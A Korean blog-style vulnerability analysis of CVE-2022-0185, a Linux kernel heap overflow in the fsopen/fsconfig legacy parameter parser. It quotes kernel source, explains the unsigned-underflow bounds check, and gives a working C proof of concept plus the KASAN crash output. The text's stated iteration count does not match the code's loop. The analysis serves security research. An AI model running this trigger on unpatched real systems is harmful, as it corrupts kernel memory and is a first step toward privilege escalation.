CVE-2022-0185 Review - Part 1
OverView
해당 취약점은 리눅스의 fsopen syscall을 통해 레거시 파일 시스템 컨텍스트를 생성할때 발생하는 Out-of-bounds Write 취약점이다.
What is fsopen
fsopen system call은 linux-5.2 버전부터 도입된 파일시스템 마운트를 위한 시스템콜이다.
기존에는 mount(2) 를 통해 파일시스템을 한번에 마운트 했지만, 마운트를 하기 위해 한번에 여러 인자를 줘야 하고, 설정의 확장이 어려워 fsopen 으로 파일시스템 컨텍스트를 생성하고,
fsconfig 로 설정을 추가한 뒤, fsmount 로 마운트를 하는 방식으로 변경되었다.
이때 기존의 파일시스템 역시 fsopen 으로 마운트 할 수 있게 하기 위해 Legacy wrapper 를 사용한다.
Vulnerability
그럼 이제 fsopen 수행 도중 어떠한 상황에서 취약점이 발생하는지 살펴보자.
먼저 fsopen 을 통해 파일시스템 컨텍스트를 생성하는 과정은 다음과 같다.
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
struct file_system_type *fs_type;
struct fs_context *fc;
const char *fs_name;
int ret;
if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;
if (flags & ~FSOPEN_CLOEXEC)
return -EINVAL;
fs_name = strndup_user(_fs_name, PAGE_SIZE);
if (IS_ERR(fs_name))
return PTR_ERR(fs_name);
fs_type = get_fs_type(fs_name);
kfree(fs_name);
if (!fs_type)
return -ENODEV;
fc = fs_context_for_mount(fs_type, 0);
put_filesystem(fs_type);
if (IS_ERR(fc))
return PTR_ERR(fc);
fc->phase = FS_CONTEXT_CREATE_PARAMS;
ret = fscontext_alloc_log(fc);
if (ret < 0)
goto err_fc;
return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);
err_fc:
put_fs_context(fc);
return ret;
}
먼저, fsopen syscall 을 호출하면, 파일시스템 이름을 통해 파일시스템 타입을 가져온다 (get_fs_type). 그 후 fs_context_for_mount 함수를 통해 파일시스템 컨텍스트 객체인 fs_context 를 생성한다.
fs_context_for_mount 함수는 alloc_fs_context 함수를 호출하여 fs_context 객체를 할당한다.
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL_ACCOUNT);
if (!fc)
return ERR_PTR(-ENOMEM);
fc->purpose = purpose;
fc->sb_flags = sb_flags;
fc->sb_flags_mask = sb_flags_mask;
fc->fs_type = get_filesystem(fs_type);
fc->cred = get_current_cred();
fc->net_ns = get_net(current->nsproxy->net_ns);
fc->log.prefix = fs_type->name;
mutex_init(&fc->uapi_mutex);
switch (purpose) {
case FS_CONTEXT_FOR_MOUNT:
fc->user_ns = get_user_ns(fc->cred->user_ns);
break;
case FS_CONTEXT_FOR_SUBMOUNT:
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
break;
case FS_CONTEXT_FOR_RECONFIGURE:
atomic_inc(&reference->d_sb->s_active);
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
fc->root = dget(reference);
break;
}
/* TODO: Make all filesystems support this unconditionally */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;
ret = init_fs_context(fc);
if (ret < 0)
goto err_fc;
fc->need_free = true;
return fc;
err_fc:
put_fs_context(fc);
return ERR_PTR(ret);
}
struct fs_context *fs_context_for_mount(struct file_system_type *fs_type,
unsigned int sb_flags)
{
return alloc_fs_context(fs_type, NULL, sb_flags, 0,
FS_CONTEXT_FOR_MOUNT);
}
EXPORT_SYMBOL(fs_context_for_mount);
이때, fs_open 을지원하는 파일시스템은 init_fs_context 필드가 존재하지만, 지원하지 않는 파일시스템은 해당 필드가 존재하지 않아 NULL로 초기화된다.
static struct file_system_type ext4_fs_type = {
.owner = THIS_MODULE,
.name = "ext4",
.mount = ext4_mount,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV | FS_ALLOW_IDMAP,
};
MODULE_ALIAS_FS("ext4"); // Not exists
static struct file_system_type squashfs_fs_type = {
.owner = THIS_MODULE,
.name = "squashfs",
.init_fs_context = squashfs_init_fs_context, // exists!
.parameters = squashfs_fs_parameters,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV
};
MODULE_ALIAS_FS("squashfs");
따라서 fsopen 을 지원하지 않는 파일시스템의 경우 파일시스템의 컨텍스트를 legacy_context 로 지정하고, legacy_init_fs_context 함수를 통해 해당 컨텍스트를 초기화 한다.
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;
ret = init_fs_context(fc);
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL_ACCOUNT);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}
legacy_init_fs_context 함수는 fs_context 의 ops 필드를 legacy_fs_context_ops 로 지정한다.
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
생성된 legacy_fs_context 를 통해 fs_config 를 하면 parse_param 을 통해 config 인자를 처리하는데, 이때에는 legacy_parse_param 함수가 호출된다.
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
int ret;
ret = vfs_parse_fs_param_source(fc, param);
if (ret != -ENOPARAM)
return ret;
if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
이때 전달되는 인자인 fs_parameter 의 구조는 다음과 같다.
struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {
char *string;
void *blob;
struct filename *name;
struct file *file;
};
size_t size;
int dirfd;
};
여기서 legacy_parse_param 함수의 다음 부분을 보자
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
...
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
...
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
value 가 string 인 경우, len 에 1과 param->size 를 더한다. 이는 key 와 value 를 구분하기 위한 , 와 value 의 크기를 더한 값이다.
그리고 그 후에 len 의 값의 크기를 검사한 후, PAGE_SIZE 만큼 할당한 곳에 param->size 만큼 뒤에 데이터를 추가한다.
여기서 검사하는 기준을 보자. len > PAGE_SIZE - 2 - size 에서 모든 자료형은 size_t 로, 부호없는 정수이다.
만약 size 값이 PAGE_SIZE - 2 (4094) 보다 크다면, 언더플로우가 나서 len 이 항상 PAGE_SIZE - 2 - size 보다 작아지게 될것이다.
그렇다면 그 이후에 할당한 kmalloc 객체에서 PAGE_SIZE 보다 큰 크기로 값을 쓸 수 있게되어 힙 영역에서의 오버플로우가 발생한다!
그렇지만 문제는 param-size 크기의 한계이다. fs_config를 통해서 size를 줄 수 있는 최대 크기는 256 바이트이다.
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
...
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
한번에 4095 이상의 바이트는 줄 수 없지만, 데이터를 쌓아서 size 의 크기를 늘릴수는 있다.
len = 1 + param->size; 인 상황에서 len > PAGE_SIZE - 2 - size 조건을 유지해가면서 언더플로우를 일으킬 수 있는 방법은
param 의 사이즈를 누적시켜 마지막에 최종 size를 4095 로 맞추는 것이다.
가장 간단한 방법은 key 값을 33 으로 설정하고 177번 fsconfig 를 반복하면 된다.
따라서 다음의 poc 코드로 KASAN 을 트리거하는데에 성공했다.
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
if (unshare(CLONE_NEWNS|CLONE_NEWUSER) < 0) {
perror("unshare");
exit(1);
}
temp = open("/proc/self/setgroups", O_WRONLY);
if (temp < 0) {
perror("open setgroups");
exit(1);
}
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
if (temp < 0) {
perror("open uid_map");
exit(1);
}
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
if (temp < 0) {
perror("open gid_map");
exit(1);
}
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
int main(void) {
unshare_setup(getuid(), getgid());
char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
perror("fsopen");
exit(1);
}
printf("fsopen fd: %d\n", fd);
for (int i = 0; i < 130; i++) {
if (fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0) < 0) {
perror("fsconfig");
}
}
printf("Finished fsconfig loop\n");
return 0;
}
root@virtme-ng:/verifier# ./poc
fsopen fd: 3
[ 14.663811] ==================================================================
[ 14.664338] BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x3fc/0x5e0
[ 14.664572] Write of size 1 at addr ff110000047a3000 by task poc/137
[ 14.664572]
[ 14.664572] CPU: 10 PID: 137 Comm: poc Not tainted 5.15.4 #2
[ 14.664572] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014
[ 14.664572] Call Trace:
[ 14.664572] <TASK>
[ 14.664572] dump_stack_lvl+0x34/0x44
[ 14.664572] print_address_description.constprop.0+0x1f/0x140
[ 14.664572] ? legacy_parse_param+0x3fc/0x5e0
[ 14.664572] kasan_report.cold+0x7f/0x11b
[ 14.664572] ? legacy_parse_param+0x3fc/0x5e0
[ 14.664572] legacy_parse_param+0x3fc/0x5e0
[ 14.664572] vfs_parse_fs_param+0x1a3/0x340
[ 14.664572] __do_sys_fsconfig+0x458/0x8a0
[ 14.664572] ? fscontext_read+0x280/0x280
[ 14.664572] ? hrtimer_interrupt+0x319/0x740
[ 14.664572] ? fpregs_assert_state_consistent+0x1d/0xa0
[ 14.664572] do_syscall_64+0x3b/0x90
[ 14.664572] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 14.664572] RIP: 0033:0x7fda68da390d
[ 14.664572] Code: 5b 41 5c c3 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d f3 b4 0f 00 f7 d8 64 89 01 48
[ 14.664572] RSP: 002b:00007ffd55190dc8 EFLAGS: 00000283 ORIG_RAX: 00000000000001af
[ 14.664572] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fda68da390d
[ 14.664572] RDX: 00005571dcf9b0bd RSI: 0000000000000001 RDI: 0000000000000003
[ 14.664572] RBP: 00007ffd55190df0 R08: 0000000000000000 R09: 0000000300000075
[ 14.664572] R10: 00005571dcf9b080 R11: 0000000000000283 R12: 00007ffd55190f08
[ 14.664572] R13: 00005571dcf9a4f9 R14: 00005571dcf9cd58 R15: 00007fda68ef1040
[ 14.664572] </TASK>
[ 14.664572]
[ 14.664572] Allocated by task 137:
[ 14.664572]
[ 14.664572] The buggy address belongs to the object at ff110000047a2000
[ 14.664572] which belongs to the cache kmalloc-4k of size 4096
[ 14.664572] The buggy address is located 0 bytes to the right of
[ 14.664572] 4096-byte region [ff110000047a2000, ff110000047a3000)
[ 14.664572] The buggy address belongs to the page:
[ 14.664572]
[ 14.664572] Memory state around the buggy address:
[ 14.664572] ff110000047a2f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 14.664572] ff110000047a2f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 14.664572] >ff110000047a3000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 14.664572] ^
[ 14.664572] ff110000047a3080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 14.664572] ff110000047a3100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 14.664572] ==================================================================